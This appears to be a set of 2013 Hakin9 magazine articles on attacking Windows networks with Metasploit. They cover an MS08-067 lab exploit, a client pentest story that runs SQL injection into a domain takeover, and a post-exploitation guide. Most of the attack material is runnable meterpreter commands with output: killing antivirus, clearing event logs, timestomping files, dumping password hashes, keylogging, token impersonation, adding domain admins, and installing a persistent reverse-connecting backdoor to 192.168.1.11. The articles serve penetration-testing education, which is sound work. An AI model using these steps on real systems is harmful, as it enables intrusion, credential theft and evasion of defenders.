Metasploit’s most popular payload is called Meterpreter, which enables you to do all sorts of funky stuff on the target system. For example, you can upload and download files from the system, take screenshots, and collect password hashes. You can even take over the screen, mouse, and keyboard to fully control the computer. Meterpreter, short for The Meta-Interpreter is an advanced payload that is included in the Metasploit Framework. Its purpose is to provide complex and advanced features that would otherwise be tedious to implement purely in assembly. The way that it accomplishes this is by allowing developers to write their own extensions in the form of shared object (DLL) files that can be uploaded and injected into a running process on a target computer after exploitation has occurred. Meterpreter and all of the extensions that it loads are executed entirely from memory and never touch the disk, thus allowing them to execute under the radar of standard Anti-Virus detection. Aside from ease of detection, it is common for daemons to run in what is referred to as a chrooted environment. This term describes the action of changing the logical root directory for an application which is accomplished by calling chroot on UNIX derivatives. When an application is running in a chrooted environment it is intended that it be impossible for the application to reference files and directories that exist above the pseudo-root directory. Since the command interpreter typical-

www.hakin9.org/en

ly exists in a directory that is outside of the scope of the directory that an application would chroot to, the execution of the command interpreter becomes impossible. Lastly, the command interpreter is limited to the set of commands that it has access to, both internal and external. The set of external commands that may or may not exist on a machine leads to issues with automation and presents problems with flexibility, not to mention being tied to one specific platform or command interpreter in most cases. These three problems illustrate some of the down-sides to relying on a native command interpreter and come to form the primary reasons for implementing the topic of this document: Meterpreter. To that point, meterpreter is capable of avoiding these three issues due to the way it has been implemented. Firstly, meterpreter is able to avoid the creation of a new process because it executes in the context of the process that is exploited. Furthermore, the meterpreter extensions, and the meterpreter server itself, are all executed entirely from memory using the technique described in Remote Library Injection. The fact that meterpreter runs in the context of the exploited process also allows it to avoid issues with chroot because it does not have to create a new process. In some cases the application being exploited can even continue to run after meterpreter has been injected. Finally, and perhaps the best feature of all, meterpreter allows for incredible control and automation when it comes to writing extensions. Server extensions can be written in any language that can have code distributed as a shared object (DLL) form. This fact makes it no longer necessary to implement specially purposed position independent code in what typically requires a low-level language such as assembly. Aside from solving these three issues, meterpreter also provides a default set of commands to illustrate some of the capabilities of the extension system. For instance, one of the extensions, Fs, allows for uploading and downloading files to and from the remote machine. Another extension, Net, allows for dynamically creating port forwards that are similar to SSH’s in that the port is forwarded locally on the client’s machine, through the established meterpreter connection, to a host on the server’s network. This enables the reaching hosts on the inside of the server’s network that might not be directly reachable from the client. [5] Scenario: We need to find a Windows machine running SMB. Keep in mind that this vulnerability has been fixed by a patch and not in Service Pack(s); so don’t care about the service pack(s) versions of Windows machines, shown by Metasploit, and give all of them a shot. The IP addresses of test network is 192.168.250.0/24. We are going to use an exploit on Windows with the following, shortened, details:

65

EXPLOITING WITH METASPLOIT Vendor Advisory ID: MS08-067 Vulnerability Type: Remote Code Execution CVE Reference: CVE-2008-4250 Risk Level: High CVSSv2 Base Score: 10.0 (HIGH) Metasploit Exploit ID: ms08_067_netapi Source: US-CERT/NIST

Description: This vulnerability is caused by an error when processing malformed RPC (Remote Procedure Call) requests. The vulnerability is code execution type vulnerability. Attacker successfully exploiting this vulnerability can run code of his or hers choice in the affected machine. This vulnerability is caused due to overflow when handling malformed RPC requests. This enables executing arbitrary code of the attacker. Technically the vulnerability exists in the Server service. [2] In simple words: RPC uses a flaw to bypass the authentication needed in SMB; hence, the SMB must be running (like when a user shares something). SMB listens to TCP port 445. Now it’s showtime: We bring up Metasploit Framework, a.k.a msf, in BackTrack (Figure 1).

Figure 1. Metasploit in Backtrack

References

[1] www.wikipedia.com [2] www.securiteam.com [3] www.metasploit.com [4] www.offensive-security.com [5] skape- ‘Metasploit’s Meterpreter’ • Original Site of BackTrack: http://www.backtrack-linux.org • Original Site of Metasploit: http://www.metasploit.com

1. ‘cd’ to Metasploit Framework directory. 2. Then run the “msfconsole” script. 3. At the msf prompt “msf>” we call the exploit from its path with ‘use’. 4. From exploit prompt “msf exploit(ms08_067_ netapi) >”, we call scanner. 5. In the scanner prompt “msf auxiliary(smb_version) >”, we ‘set’ the remote host. As you can see, since we want to find an SMB running machine, we chose the entire subnet. Note: the remote host keyword, RHOST, has to be in capital letters. 6. (Optional but recommended)To increase the speed of search process, we ‘set’ the THREADS value to 20; default is 1. 7. Let the scanner ‘run’. The after result and steps are shown and described Figure 2. Who is qualified to be our prey? The host 192.168.250.20 seems good (Figure 3). 8. We load the exploit by ‘use’. 9. Then we ‘set’ the remote host, RHOST, IP address: 192.168.250.20 10. We need to define the application we want to use after exploitation, PAYLOAD. 11. We define our machine as local host, LHOST, with its IP address: 192.168.250.25 12. And ‘exploit’. 13. When we got “meterpreter >” prompt, it means we are done. To finish our job we run. ‘shell’ command and we will be welcomed by Windows prompt. Foreword: Use your knowledge in ethical ways; at least try to!

Figure 2. The results

Figure 3. Attacking the host

66

VAHID SHOKO UHI, (MAR 2013)

I am an Information Security Consultant with more than a decade of experience, mostly in Service Provider environments. My job focuses on Designing: Secure Networks, Managed Security Service Provider (MSSP), Security Operation Center (SOC),Research and Training. In addition being Security Consulting, I also am a System Administrator with great hands-on experience in Unix-family Operating Systems: Solaris, BSD and Linux. In my free time I write tutorial articles.

TBO 01/2013

EXPLOITING WITH METASPLOIT

The Inside-Outsider

Leveraging Web Application Vulnerabilities + Metasploit to become the Ultimate Insider ’’Strategy without tactics is the slowest route to victory. Tactics without strategy is the noise before defeat’’– Sun Tzu ‘’Greed is good’’ – Gordon Gekko, ‘’Wall Street’’

A

n effective penetration test is one that has a specific objective. Typically, the objective is to identify and exploit as many vulnerabilities as can be found, within the scope of the rules of engagement. However, my interpretation of ‘objective’ is a little different. For me, being objective is really about whether I, as a penetration tester, can gain access to information assets that the organization considers critical. This means that whilst I might uncover several vulnerabilities during the course of a penetration test, but if am unable to gain access to critical information assets of the organization, the fundamental objective is still not met. I had been working with a client in the manufacturing sector recently. This company has a sizable IT deployment with multiple locations, a private MPLS “cloud” network connecting all their sites. SAP deployments spanning across their locations, as well as a multitude of commercial and custom web applications that were being utilized for everything from Human Resource Management to Supplier and Customer Relationship Management. The most critical information asset for this company was its R&D Design Information. This company would spend months designing components that it would manufacture and subsequently sell to its customers. The company is in a highly competitive market, where it is the leader. Therefore, even the theft / unauthorized disclosure of a single design would result in millions of dollars lost for the

68

company in terms of business opportunities and client confidence. The company had also been assessed and tested for security vulnerabilities over the last 3 odd years, but there were incidents that had occurred and the management wanted another test to be performed. Our objective was simple. The CEO conveyed that if we were able to gain access to R&D Design Information, then the Penetration Test would be a successful one. We could use any method of incursion, internally or externally, with the exception of social engineering and Denial-Of-Service to achieve our goals. This article is essentially the story of that penetration test and the things that my team and I discovered about Metasploit and how to become the Ultimate Insider in an organization. Lets begin....

The First Incursion – The Web App Its no surprise that companies deploy web apps ‘by the boatloads’ today. Web Apps have been ubiquitous in the enterprise. Apps fuel HR departments, purchase departments, corporate communcation, intranets, extranets and so on. These applications may be commercially available applications, organisations servers, some of which are developed in-house. Some of them are applications that the organization develops themselves1. Today, the cloud based apps and SaaS2 apps are also prevalent in the organization. At times, these applications are deployed in production with very little thought

TBO 01/2013

given to security. Leaving aside custom-built applications (which are largely non-secure), companies pay top dollar for commercial applications that they assume are inherently secure (because they are developed by a reputable company/they have multiple deployments and the organization assumes that security would naturally be an important consideration with all these deployments). The company we were testing was running a mix of these applications. Some apps were developed in-house, whereas some of their key apps were commercial apps that were deployed in the company’s servers. Our first incursion was into the company’s HR application that was a public facing web application. After reconnaissance and mapping the web application, we started combing the application for vulnerabilities. One of the key findings in testing the application, was that we identified that the application was vulnerable to SQL Injection on the login page. This was a significant finding, as the application contained highly sensitive information about the company’s employees and all their personal information, salary information and so on. Once we discovered that the application was vulnerable to SQL Injection, we fired up our favourite tool for database exploitation, SQLMap. SQLMap is one of the best tools I have worked with for database exploitation. SQLMap works largely for exploiting a known SQL Injection vulnerability, although it does some vulnerability discovery as well. We extracted the HTTP request into a text file, and ran SQLMap with the following command line options: Listing 1.

This command line option on SQLMap essentially reads a request file (it was a HTTP POST Request), performed a comprehensive Database fingerprint and retrieved the current user of the database. To our delight, we found the current user of the database was ‘sa’ or ‘System Administrator’, the highest level of privilege for a Microsoft SQL Server 2005 system. This meant that the HR application was running on the Database with root credentials. It is a bad practice and one that was to come up on our report as a high severity vulnerability later. Once we identified that the server was running with ‘sa’ as the user, we moved quickly to enumerate other users and their password hashes on the database. We used the SQLMap command python sqlmap.py –r /requestFile.txt ––users –– passwords ––dbms=mssql

This command essentially executed the same request and fetched the usernames and password hashes from the sys.sql_logins table to the MSSQL Database. The table provides the password hash for a queried username. [15:43:29] [INFO] retrieved: [15:43:29] [DEBUG] performed 7 queries in 8 seconds [INFO] fetching number of password hashes for user ‘sa’ [15:43:29] do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y [*] sa [1]:password hash: 0x0100FFE2359D35EACB064 FACF50F350EC31E64D6ABF40747B94A:’admin123’ ---- SNIP ----

Listing 1. Run SQLMap python sqlmap.py –r /requestFile.txt –f –-current-user

sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --Place: GET Parameter: txtSearch Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: txtSearch=admin’; WAITFOR DELAY ‘0:0:5’;---- [15:20:22] [INFO] testing Microsoft SQL Server [15:20:22] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait.. [15:20:37] [INFO] confirming Microsoft SQL Server [15:20:37] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727 back-end DBMS: Microsoft SQL Server 2005 [15:20:37] [INFO] fetching current user [15:20:37] [INFO] resumed: current user:’sa’

www.hakin9.org/en

69

EXPLOITING WITH METASPLOIT As you can see from the above block that SQLMap provides extremely useful functionality of password cracking as well. The password provided by the administrator in this case was poor and it was cracked in a matter of a few minutes. We now had our first channel into their environment. However, we hadn’t reached our objective yet. The goal beckoned to us. And greed in this case, turned out to be very very good....

with the sp_configure configuration feature: sp_ configure ‘xp_cmdshell’ ‘1’ enables the xp_cmdshell. However, Metasploit has a nifty little exploit for that, where xp_cmdshell can be enabled and can upload shellcode to provide a reverse_tcp meterpreter shell. The exploit can be run as follows:

The tunnel to the inside

After that we set our RHOST and LHOST property and ran the exploit. Figure 1 is a screenshot of the exploit and stager being delivered and executing on the remote machine with a meterpreter shell available for us to work with. With a successful attack against the operating system, we were now able to gain complete access to the backend operating system through the meterpreter shell.

The point of every great Penetration Test is to never stop when you get root on a box, but to constantly pivot forward to identify how deep an attacker’s access to the internal network and data is. We had barely scratched the surface of the perimeter. We had the Administrative Database of the HR application. Our next objective was to get deeper into the organization’s IT infrastructure to gain access to the information assets of value – Design data. Our reconnaissance through our initial port scans on the server hosting the web application showed that port 1433 was open. Port 1433 is a standard port for Microsoft SQL Server to run. Another major problem – Never expose the Database directly to the internet. The firewall should have filtered access to port 1433, but that was not to be. This proved to be very lucky for us. As administrator, not only did we have access to the database, we also had access to the database from the outside3. We had got complete access to the Database, but we didn’t have access to the Operating System in the backend. That’s why we needed to enable xp_cmdshell. xp_cmdshell is a feature that has been provided by Microsoft where the Database users can execute commands on the backend operating system using syntax like so: xp_cmdshell ‘dir c:\’

I don’t know how many people use xp_cmdshell to manage their Database servers, but I do know that it is extremely popular and useful for hackers looking to pivot their access to the database into the Operating system, because they can execute commands on the back-end operating system, that means a great deal when you’re a remote attacker looking to compromise the system. We fired up our Metasploit console and began our pivot into the organization. The first thing we had to do was ensure that xp_cmdshell was enabled. It usually disabled by most administrators and it has to be explicitly enabled by us if we have to use that functionality. For an administrator, it can be done

70

use exploit/windows/mssql/mssql_payload SET PAYLOAD windows/meterpreter/reverse_tcp

The Path to Gold! The meterpreter (a.k.a The Meta Interpreter) is a payload delivery system developed by the creators of Metasploit. The Meterpreter has been designed to run in memory, not spawn a new process (it injects itself into existing processes), and therefore run without being detected by most anti-virus products. The meterpreter can ‘jump’ from an existing process to another compromised process in the operating system. (The environment we were running it had a fully functional and updated McAfee Enterprise AntiVirus solution). The meterpreter also creates new extensions by uploading DLLs to the system, that is executed in-memory and the meterpreter API calls these functions to get access to more functionality on the compromised system. It is typically used for pivoting through a compromised host to penetrate deeper into an organization. At this point in time, we had still not achieved our goal of gaining access to Design Data. While we had compromised a web server and its database, we were still to reach the annals of the internal network and gain access to the design information on the servers and workstations of the design engineers of the company.

Figure 1. Screenshot of the xp_cmdshell and meterpreter payload being delivered to the target machine with a meterpreter shell

TBO 01/2013

Useful commands – meterpreter The meterpreter has several useful extensions, one of them being the ‘’ps’’ command that gives us a list of all services running in the target system. meterpreter > ps

Figure 2 is a listing of all the services of the operating system retrieved using the meterpreter shell Once you are able to retrieve the services, you can migrate to a different service by DLL injecting into that service. In Figure 2, you can see that we migrated into the explorer.exe process and started off a keystroke sniffer on the target system. Figure 3 indicates the start of the keystroke service that can be invoked with keyscan_start. It can be dumped on the attacker’s local system with keyscan_dump. We also ran a sniffer to sniff for traffic to and from the target system. This can be initialized with the use sniffer command, followed up with a sniffer_interfaces that lists all the available interfaces on the target system, which is followed up with a sniffer_ start . Figure 4 is an image of us dumping the sniffer results into a cap file after analysis on the target system. It can be run with the sniffer_dump command Perhaps the most useful command, and the one that gave us comprehensive access to the inside

network was the use of the incognito option in the meterpreter. The incognito command in the meterpreter allows you to impersonate users on the network. Windows systems use tokens as a measure of authentication and authorization while accessing a network. These tokens are not unlike web cookies that can be used by windows users to not have to constantly authenticate to gain access to network resources or system resources4. SYSTEM is the highest privilege in the tokens available in a target system. Our first task was to identify if any tokens were listed and then potentially be stolen for us to go deeper into the organization5. We ran the command use incognito to start using the options and commands under the module. Our first task was to identify the available delegation tokens that we could potentially steal. Figure 5 shows the tokens available on the target machine of which we stole the Administrator’s tokens on the company’s domain. Once we had the domain administrator’s tokens, we were essentially the administrator of the domain and the domain was our next target. The incognito module has an add_user option that allows the tester to add usernames and passwords on the domain, and given the right credentials, add domain admin users to the domain as well, therefore, we didn’t resist. We added user we45 with password ‘we45’ to the domain and then added the user we45 to the list of Domain Administrators. Figure 6 displays the add_user option of the incognito module where user we45 was added to both the domain and the domain admins group.

Figure 2. Services listing using the meterpreter shell

Figure 3. keyscan_start on meterpreter on the target system Figure 5. List of tokens available for impersonation

Figure 4. Sniffer dump from the target system onto a cap file

www.hakin9.org/en

Figure 6. Adding users to domain and Domain Admins group

71

EXPLOITING WITH METASPLOIT Now we had the ability to control the entire internal infrastructure from outside the environment. However, the fact that we didn’t have GUI access was a little inconvenient. We wanted to gain access via Remote Desktop Protocol (RDP) to the web application and subsequently generate an RDP session into the domain server, from where we could control the entire domain of the organization. Meterpreter has an option to enable RDP on the target system with the getui command. Therefore, we ran the following command: run getgui –u we45 –p we45

This command gave us RDP access to the target system, after which we were created another Remote Desktop session to the domain server to examine our proverbial ‘spoils of war’. Figure 7 and 8 are images of our RDP session into the domain server. From then, it was only a matter of time before we could get complete access to the design in-

formation on the internal network. We egressed some information to evidence that we had been able to gain access to said information, ran cleanup scripts to ensure that the servers were not left in a weakened state after our analysis, immediately called their emergency contact person and warned him to remove all the shellcode executables, and user from the domain server6. We had been able to execute an internal attack through a vulnerable web application. When we revealed our findings to the management, they were quite alarmed that we had been able to comprehensively breach their internal network simply by gaining access to their web application.

Conclusion The above article highlights some techniques that testers can use when compromising internal networks being outside the network. However, while any tester faces an immense urge to skip the steps and move directly into exploitation, it is the patient and the meticulous testers that will find the best results. A consistent and repeatable a methodology is an absolute essential for a pen-tester. A tester who follows the methodology and is skilled at analyzing and interpreting a given situation will put tools to the best use. Another important learning that my own team had from this test was that gaining root on a box is perhaps the beginning of a test and not the end or sole objective of it. Attackers are constantly looking to create deeper levels of access into an organization’s infrastructure. We, as pentesters must apply the same level of drive and determination to reach a data oriented goal (in this case Design Information).

Figure 7. RDP access to the domain server

ABHAY BHARGAV

Figure 8. Access to the Active Directory Users in the Domain Server

72

Abhay Bhargav is the CTO of we45 Solutions India Pvt. Ltd, a focused Information Security Company (www. we45.com). We45 provides security consulting, testing and training services and handles Vulnerability Assessment and Penetration Testing projects for Infrastructure and Apps of Fortune 1000 companies. He can be reached at [email protected], On twitter at @abhaybhargav and LinkedIn at http://in.linkedin.com/in/abhaybhargav. He is the co-author of ‘’Secure Java for Web Application Development’’ and is currently authoring ‘’PCI Compliance – A Definitive Guide’’

TBO 01/2013

EXPLOITING WITH METASPLOIT

Metasploit Fu post exploitation People always emphasize on breaking into the system or the exploitation part. We are into a system, what should be the done further? Post exploitation is rarely talked about which is as important as getting in. This article will mostly focus on some necessities and possibilities post exploitation of a system.

A

fter putting in efforts for successful exploitation of a system, let’s look at some of the options that become available for a pentester or security auditor. The options can be broadly divided into necessary and possible. Performing all of these actions assume you already have a meterpreter shell of the victim machine.

• Necessary – These should always be done in order to stay stealthy and not get detected or caught. • migrate to another process, • killing monitoring software, • deleting Logs. • Possible – These can be done to get a deep insight into the system or the network brokenin. Use of these techniques can allow us to maintain access to the system and get access to more systems in the network infrastructure. • understanding, gaining and collecting as much information about the victim, • privilege escalation, • backdooring or installation of rootkits, • using victim as a pivot.

Let’s Fu Migration to process For breaking into the system, vulnerability in some software is exploited and the payload (in this case the meterpreter) is executed in the memory space of the process/software being exploited. As unex-

74

pected data is sent to the process for exploitation, the process might eventually crash and exit. If the process closes, our meterpreter shell will also be lost as the memory space of the process will be destroyed when it exits. First step on successful exploitation should be migrating our payload to another process’s memory so that even if the exploited process crashes, the shell is still retained. In order to do this you can run ps to get a list of processes with their PIDs and then use the migrate command to migrate the payload to another process (Listing 1).

Killing monitoring software Now a day almost every system runs some kind of protection or antivirus product. On one hand they are to protect the victim from such attacks, on the other side they cause a hindrance to the attacker. In order to stay stealthy and perform all actions seamlessly, one should consider killing any kind of monitoring or antivirus software on the victim on getting the meterpreter shell. Metasploit makes it easy by providing two important meterpreter scripts namely getcountermeasure and killav. Getcountermeasure tries to list all the protections present on the machine (Listing 2). Killav script maintains a name of known antivirus process names. Running the script will look for any of these processes running on the machine and would kill them if present.

TBO 01/2013

Figure 1. Windows event viewer logs have been cleared Listing 1. Migrate the payload to another process meterpreter > ps Process list ============ PID Name -----...snip... 228 lsass.exe 380 svchost.exe 408 spoolsv.exe 480 regsvc.exe 724 cmd.exe 768 Explorer.exe ...snip...

Path ---C:\WINNT\system32\lsass.exe C:\WINNT\system32\svchost.exe C:\WINNT\system32\spoolsv.exe C:\WINNT\system32\regsvc.exe C:\WINNT\System32\cmd.exe C:\WINNT\Explorer.exe

meterpreter > migrate 768 [*] Migrating to 768... [*] Migration completed successfully.

Listing 2. Listing machine’s protections meterpreter > run getcountermeasure [*] Running Getcountermeasure on the target... [*] Checking for contermeasures... [*] Getting Windows Built in Firewall configuration... [*] [*] Domain profile configuration: [*] ------------------------------------------------------------------[*] Operational mode = Disable [*] Exception mode = Enable [*] [*] Standard profile configuration: [*] -------------------------------------------------------------------

[*] Operational mode [*] Exception mode ...snip...

www.hakin9.org/en

= Disable = Enable

75

EXPLOITING WITH METASPLOIT meterpreter > run killav [*] Killing Antivirus services on the target... [*] Killing off avira.exe...

Deleting Logs Any activity on the system is logged by windows and for the same reason the attack and also all the future activities will be logged by the default log daemon running in windows. No attacker would want to get caught or leave any track that can lead back to him. Therefore clearing the system logs is a very crucial step of a pentest. Logs should be cleared not only after all the activities on the system has been done but also as soon as the attacker gets into the system. It is important as there might a cron job running to periodically upload the system logs to some server and might upload the logs containing your attack. Meterpreter script clearev does the work for us by clearing the system and user logs as shown in Figure 1.

be sure that it is completely stealthy. The forensic analyst usually checks for all the modified files on the target after a certain date and time. This is done by reading the 4 date and time stamp attributes of a file which is known as MACE. MACE signifies Modified, Access, Changed and Entered into the master file table times of a file. To remain undetected even under forensic analysis we have to take care of the activities done on the machine. Best way is to do everything in the memory and not touch the file system by which I mean not create, modify any file. There might be cases where it is unavoidable to not interact with the machine. In such cases, timestomp as a part of priv meterpreter extension by Metasploit comes handy which helps you to read and change the MACE times of the file (Listing 3). For example: Create a file

meterpreter > clearev [*] Wiping 997 records from Application... [*] Wiping 2045 records from System... [*] Wiping 1 records from Security...

Another way to detect an attack or malicious activity on the system is by forensic analysis. Just by deleting the system and user logs one cannot

meterpreter > timestomp test.txt -z “Saturday 10/08/2005 2:02:02 PM” meterpreter > timestomp test.txt -a “Saturday 10/08/2005 2:02:02 PM”

Listing 3. Change the MACE times of the file meterpreter > use priv Loading extension priv...success. meterpreter > timestomp –h Usage: timestomp file_path OPTIONS OPTIONS: -a Set the “last accessed” time of the file -b Set the MACE timestamps so that EnCase shows blanks -c Set the “creation” time of the file -e Set the “mft entry modified” time of the file -f Set the MACE of attributes equal to the supplied file -h Help banner -m Set the “last written” time of the file -r Set the MACE timestamps recursively on a directory -v Display the UTC MACE values of the file -z Set all four attributes (MACE) of the file

76

Victim information gathering Gathering as much information possible regarding the system gives us a heads up and can help us in future steps. Let’s look at different kind of information that can be extracted and the way to get it. Lots of modules and meterpreter scripts are available for gaining information but will be discussing only few important ones here. You can view the available meterpreter scripts by typing run and pressing double tab at the meterpreter prompt. Figure 2 lists the available run scripts on my installation of Metasploit. meterpreter > run

• Check the user and the privilege level that we have broken in as.

TBO 01/2013

Meterpreter > getuid Server username: HACKBOX\victim

• Whether current user is active or time he has been away. Meterpreter > idletime User has been idle for: 16 mins 5 secs

• See what the user is currently doing by taking a screenshot of the victim’s machine. An example screenshot of the victim is shown in Figure 3. Meterpreter > screenshot Screenshot saved to: /home/msf/WiyDGJwX.jpeg

• Check if the exploited victim system is a real machine or a virtual machine. meterpreter > run checkvm [*] Checking if HACKBOX is a Virtual Machine [*] This is a VMware Virtual Machine

meterpreter > hashdump OR meterpreter > run hashdump Administrator:500:MYLMHASH:MYNTLMHASH::: Guest:501:MYLMHASH:MYNTLMHASH::: asdfds:502:MYLMHASH:MYNTLMHASH::: Domain Admin?:1000:MYLMHASH:MYNTLMHASH::: qwewqe:1104:MYLMHASH:MYNTLMHASH::: DOMAINCONTROLLE$?:1001:MYLMHASH:MYNTLMHASH:::

• Collecting important or interesting files from the machine. This can be done by searching for content using regular expression and then downloading it to the attacker’s machine. Meterpreter has a search function that by default searches all drives of the victim’s computer looking for files of choice. meterpreter > search –h Usage: search [-d dir] [-r recurse] -f pattern Search for files. OPTIONS:

• Get the list of most frequently run programs that indicates the major use of the machine by the victim and may reveal some interesting information. The prefetchtool script reads the data from the windows prefetch folder that contains some basic information about the programs that are used regularly. meterpreter > run prefetchtool [*] No local copy of prefetch.exe, downloading from the internet...

• Dump the password hashes from the system which can be fed into a hash cracking program to get clear text passwords of all the user accounts on the victim machine.

Figure 3. Screenshot of the victim

Figure 2. Meterpreter shell showing run scripts

www.hakin9.org/en

77

EXPLOITING WITH METASPLOIT -d -f -h -r

The directory/drive to begin searching from. Leave empty to search all drives. (Default: ) The file pattern glob to search for. (e.g. *secret*.doc?) Help Banner. Recursivly search sub directories. (Default: true)

• To search for the pdf files run search with ‘-f’ option and pattern to look for meterpreter > search –f *.pdf Found 418 results... ...snip... c:\Documents and Settings\All Users\Documents\

datasheet.pdf (28521 bytes) c:\Documents and Settings\victim\Documents\ photo.pdf (71189 bytes) ...snip...

• Working with registry Windows registry is a place having numerous amount of information where a slight change can lead to big changes. Meterpreter provides us with tool to read, write, create and delete registry on the victim machine (Listing 4). Using the registry, one can find what files have been utilized, web sites visited in Internet Explorer, programs utilized, USB devices utilized, and so on.

Listing 4. Read, Write, Create and Delete registry on victim’s machine meterpreter > reg Usage: reg [command] [options] Interact with the target machine’s registry. OPTIONS: -d The data to store in the registry value. -h Help menu. -k The registry key path (E.g. HKLM\Software\Foo). -t The registry value type (E.g. REG_SZ). -v The registry value name (E.g. Stuff). COMMANDS: enumkey Enumerate the supplied registry key [-k ] createkey Create the supplied registry key [-k ] deletekey Delete the supplied registry key [-k ] queryclass Queries the class of the supplied key [-k ] setval Set a registry value [-k -v -d ] deleteval Delete the supplied registry value [-k -v ] queryval Queries the data contents of a value [-k -v ]

Listing 5. Stealing user’s tokens, password, email, ftp clients meterpreter > run credcollect [+] Collecting hashes... Extracted: Administrator:7584248b8d2c9f9eaad3b435b51404ee:186cb09181e2c2ecaac768c47c729904 Extracted: asdfds:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Extracted: HelpAssistant:713c7f414ef1ddfd43ed3164e67b8d07:70b582319e3a4da8958b93141191d98b Extracted: SUPPORT_388945a0:aad3b435b51404eeaad3b435b51404ee:b137dc9544f7afa9f6fe85d39bd6b29b [+] Collecting tokens... HACKBOX\ asdfds NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM NT AUTHORITY\ANONYMOUS LOGON meterpreter > run enum_firefox meterpreter > get_pidgin_creds

78

TBO 01/2013

Listing 6. Get system privileges meterpreter > use priv Loading extension priv...success. meterpreter > getsystem -h Usage: getsystem [options] Attempt to elevate your privilege to that of local system. OPTIONS: -h Help Banner. -t The technique to use. (Default to ‘0’). 0 : All techniques available 1 : Service - Named Pipe Impersonation (In Memory/Admin) 2 : Service - Named Pipe Impersonation (Dropper/Admin) 3 : Service - Token Duplication (In Memory/Admin) 4 : Exploit - KiTrap0D (In Memory/User) meterpreter > getsystem ...got system (via technique 4).

Listing 7. Error due to a bug meterpreter > use incognito Loading extension incognito...success. meterpreter > list_tokens -u Delegation Tokens Available ======================================== NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM HACKBOX\Administrator Impersonation Tokens Available ======================================== NT AUTHORITY\ANONYMOUS LOGON meterpreter > impersonate_token HACKBOX\\Administrator [+] Delegation token available [+] Successfully impersonated user HACKBOX\Administrator

Listing 8. Machine rebooted meterpreter > run persistence -h OPTIONS: -A Automatically start a matching multi/handler to connect to the agent -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i The interval in seconds between each connection attempt -p The port on the remote host where Metasploit is listening -r The IP of the system running Metasploit listening for the connect back

www.hakin9.org/en

79

EXPLOITING WITH METASPLOIT Stealing information Metasploit provides modules which help the attacker/pentester to steal sensitive information from the victim. This includes stealing user tokens, password stored in browsers, email and ftp clients (Listing 5).

Privilege escalation We have mentioned privilege but let’s try and understand what it is exactly. Suppose you have to perform an action on a machine, it will be associated with permissions. If you have permissions to perform the action, it will successfully execute else the action is blocked. Privilege defines the permissions to perform actions associated with a user on the system. SYSTEM is the highest privilege user on a machine. In certain situation you will find yourself broken in as a low privilege user that will limit actions you can perform on the remote system such as dumping passwords, manipulating the registry, installing backdoors, etc. Fortunately, Metasploit provides few techniques

where in you try to elevate privilege level to attain SYSTEM privileges. Some of them are • Using getsystem that tries a set of ways to get system privileges as mentioned below (Listing 6) • Impersonating tokens Note: While using impersonate_token use 2 backslashes (\\) as with 1 it causes error due to a bug (Listing 7) • Migrating to high privilege process Using the technique discussed before to migrate to another process, we can try and migrate to a process that runs under the SYSTEM privileges. On successful migration to such a process, privilege escalation is achieved.

Backdooring or installation of rootkits Once broken into a machine, you might want to maintain access for further examination or penetration into other machines on the network. In scenarios where one cannot exploit the same soft-

Listing 9. Connect back meterpreter > run persistence -U -i 5 -p 3333 -r 192.168.1.11 [*] Creating a persistent agent: LHOST=192.168.1.11 LPORT=3333 (interval=5 onboot=true) [*] Persistent agent script is 613976 bytes long [*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs [*] Agent executed with PID 492 [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr [*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr [*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/persistence/ HACKBOX_20100821.2602/clean_up__20100821.2602.rc

Listing 10. Edit the source or filler out the connections on the port meterpreter > run metsvc -h [*] OPTIONS: -A Automatically start a matching multi/handler to connect to the service -h This help menu -r Uninstall an existing Meterpreter service (files must be deleted manually) meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\DOCUME~1\victim\LOCALS~1\Temp\JplTpVnksh... [*] >> Uploading metsrv.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... [*] * Installing service metsvc * Starting service Service metsvc successfully installed.

80

TBO 01/2013

ware or service again, it ensures that you can still regain control of the machine. If you want to close the current connection in cases when you want to switch off your machine or remove it from the network, you are still able to reconnect to the machine without actually exploiting the machine again. Keylogging A tool well written in Metasploit allows you to log all the keystrokes from the system without writing anything to the disk, which makes it a lot stealthier than any of the other keyloggers. Every system has a keyboard buffer which includes the key presses that are used by the OS. The same buffer is read and dumped to the attacker by this tool and hence there is no need to write the key presses on the disk before dumping it to the attacker and leaves no trail of it for the forensic analysts. This is quite useful for acquiring username, passwords and other sensitive information. As all the GUI user interaction happens in the explorer, so in order to keylog we migrate to explorer. exe process meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... gmail.com myusername notmypassword

An icing on the cake is that you can even capture the login information of the user on the machine. To do that you migrate to the winlogon process and start the keyscan. This will log the credentials of all the users that will login to this machine. Persistance To be able to get back to the system that was exploited before even when the vulnerable service is down, use the persistence meterpreter script. This creates a meterpreter service which is available even after the remote machine is rebooted (Listing 8). Configure the persistent Meterpreter session to wait until a user logs on to the remote system and try to connect back to our listener every 5 seconds at IP address 192.168.1.11 on port 3333 (Listing 9). As soon as user logs into the sytem and if you have a handler running, you get a meterpreter session. To uninstall the service you can use the command to run the .rc script as shown in the last line of the output. Please note that this backdoor is very noisy, as after the user logs in it will keep trying to connect back to the listener after every 5 seconds. Also this requires no authentication, so

www.hakin9.org/en

